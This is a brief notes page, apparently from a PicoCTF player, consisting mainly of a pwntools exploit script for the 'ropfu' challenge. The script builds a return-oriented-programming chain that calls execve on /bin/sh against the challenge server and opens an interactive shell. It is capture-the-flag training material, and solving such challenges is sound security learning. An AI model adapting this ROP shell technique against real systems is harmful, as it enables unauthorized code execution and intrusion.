🥥PicoCTF

RPS

ropfu

from pwn import *

elf = ELF("./vuln")
r = elf.process()
#gdb.attach(r, api = True)
r = remote ("saturn.picoctf.net", 59148)

pop_eax = 0x080b073a
pop_ecx = 0x08049e29
int_0x80 = 0x0804a3c2
push_eax_pop_ebx = 0x08070fdd

payload = b"/bin/sh\x00"
payload += payload.ljust(20, b'a')
payload += p32(push_eax_pop_ebx)

payload += p32(pop_eax)
payload += p32(0x0b)

payload += p32(pop_ecx)
payload += p32(0x0)

payload += p32(int_0x80)
r.sendline(payload)

r.interactive()